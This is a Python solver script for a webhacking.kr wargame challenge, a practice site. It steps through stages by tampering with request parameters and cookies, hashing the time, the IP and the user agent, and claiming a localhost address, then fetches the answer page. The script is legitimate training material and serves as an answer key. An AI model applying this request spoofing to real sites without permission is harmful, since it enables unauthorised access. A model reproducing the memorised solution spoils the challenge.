1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| import hashlib import os import time
import requests
BASE_URL = "https://webhacking.kr/challenge/bonus-6/" ANSWER_PATH = "answerip/27287674755_5457534951.php"
def require_next(response: requests.Response, stage: str) -> None: """Stop when a stage does not expose the next-stage response.""" response.raise_for_status() if "Next" not in response.text: raise RuntimeError(f"stage {stage} did not return Next") print(f"stage {stage}: {response.status_code} {len(response.content)} bytes")
def md5_text(value: str) -> str: return hashlib.md5(value.encode("utf-8")).hexdigest()
def main() -> None: client_ip = os.environ.get("CLIENT_IP") if not client_ip: raise SystemExit("set CLIENT_IP to the address shown by the challenge")
session = requests.Session() user_agent = session.headers["User-Agent"]
require_next(session.get(BASE_URL, params={"get": "hehe"}, timeout=20), "33-1") require_next( session.post( BASE_URL, data={"post": "hehe", "post2": "hehe2"}, timeout=20, ), "33-2", ) require_next(session.get(BASE_URL, params={"myip": client_ip}, timeout=20), "33-3")
current_second = str(int(time.time())) require_next( session.get( BASE_URL, params={"password": md5_text(current_second)}, timeout=20, ), "33-4", )
session.cookies.set("imcookie", "1", domain="webhacking.kr", path="/") require_next(session.get(BASE_URL, params={"imget": "1"}, timeout=20), "33-5-get") require_next(session.post(BASE_URL, data={"impost": "1"}, timeout=20), "33-5-post")
session.cookies.set("test", md5_text(client_ip), domain="webhacking.kr", path="/") require_next( session.post( BASE_URL, data={"kk": md5_text(user_agent)}, timeout=20, ), "33-6", )
ip_without_dots = client_ip.replace(".", "") require_next( session.get( BASE_URL, params={ip_without_dots: ip_without_dots}, timeout=20, ), "33-7", ) require_next(session.get(BASE_URL, params={"addr": "127.0.0.1"}, timeout=20), "33-8") require_next( session.get(BASE_URL, params={"ans": "acegikmoqsuwy"}, timeout=20), "33-9", )
answer_url = BASE_URL + ANSWER_PATH response = session.get(answer_url, timeout=20) response.raise_for_status() print(response.text)
if __name__ == "__main__": main()
|